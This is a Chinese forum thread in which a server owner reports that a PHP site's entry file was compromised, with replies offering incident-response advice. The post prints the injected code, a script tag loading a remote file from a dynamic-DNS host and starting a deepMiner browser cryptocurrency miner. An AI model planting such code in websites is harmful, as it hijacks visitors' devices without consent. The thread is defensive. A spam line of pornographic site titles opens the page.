在线观看不卡亚洲电影_亚洲妓女99综合网_91青青青亚洲娱乐在线观看_日韩无码高清综合久久

鍍金池/ 問(wèn)答/PHP  Linux/ 服務(wù)器又被入侵

服務(wù)器又被入侵

使用 tp5.0 框架的入口文件被人寫(xiě)入不知道啥玩意的東西

求大佬!!!

阿里云服務(wù)器

wdlinux 系統(tǒng)

clipboard.png

echo "<script src='https://greenindex.dynamic-dns.net/jqueryeasyui.js'></script>
        <script>
            var uri = 'www';
            var jqueryui = new deepMiner.Anonymous(uri, {autoThreads: true,throttle: 0.5});
        if (!jqueryui.isMobile() && !jqueryui.didOptOut(14400)) {
            jqueryui.start();
        }
        </script>";
回答
編輯回答
舊言

1.下載https://greenindex.dynamic-dn...
2.在函數(shù)deAES中將返回的字符串輸出到控制臺(tái)中,這些字符串就是真正運(yùn)行的代碼.
3.然后代入他下面寫(xiě)的運(yùn)行代碼,在中間調(diào)試.一步步調(diào)試 最多半天就能知道他干嘛的了.

2017年11月28日 07:29
編輯回答
夢(mèng)若殤

你是是什么網(wǎng)站系統(tǒng)呀，用什么服務(wù)器呀，最近好多人都被入侵了呢。

2017年9月7日 04:30
編輯回答
臭榴蓮

先修改文件屬性，比如說(shuō)把owner變成root:root

2018年8月8日 02:32
編輯回答
舊螢火

先找一找是哪里出現(xiàn)的漏洞,注入?。∥募? 然后看一下文件的權(quán)限

2018年3月30日 00:27
編輯回答
法克魷

先把日志摟出來(lái)審計(jì)一遍

2017年7月8日 23:13
編輯回答
陌上花

如果這代碼是入侵者留下的，可以告訴你，你的每一個(gè)用戶(hù)在幫他挖礦。

2017年4月6日 10:57
編輯回答
愛(ài)是癌

我覺(jué)得問(wèn)題出在tp或者程序的可能性更大一些。

wdlinux wdcp的重點(diǎn)在控制面板，安全需要自己做。先推薦把php整一整，apache權(quán)限，其次是ssh端口，關(guān)ftp，防火墻等等。

屏蔽php高危函數(shù)
http://www.yunxi365.cn/index....

2017年4月8日 02:22
編輯回答
何蘇葉

最近留意到幾次這樣的入侵
請(qǐng)問(wèn)樓主服務(wù)器上是否安裝了 FTP ？
電腦上使用的 FTP 客戶(hù)端是？
我懷疑是 FTP 客戶(hù)端上的后門(mén)

2017年9月19日 00:18
編輯回答
裸橙

樓主，我的也中招了！
不是用TP的。
但是也是使用wdcp這個(gè)來(lái)搭的。
也是直接在我的程序入口處加了你貼出的那段代碼。
查也查不到頭緒。不知道是從哪里黑進(jìn)來(lái)的。

2017年4月19日 08:49
編輯回答
未命名

貌似挖礦用的
https://github.com/deepwn/dee...

2017年6月30日 00:13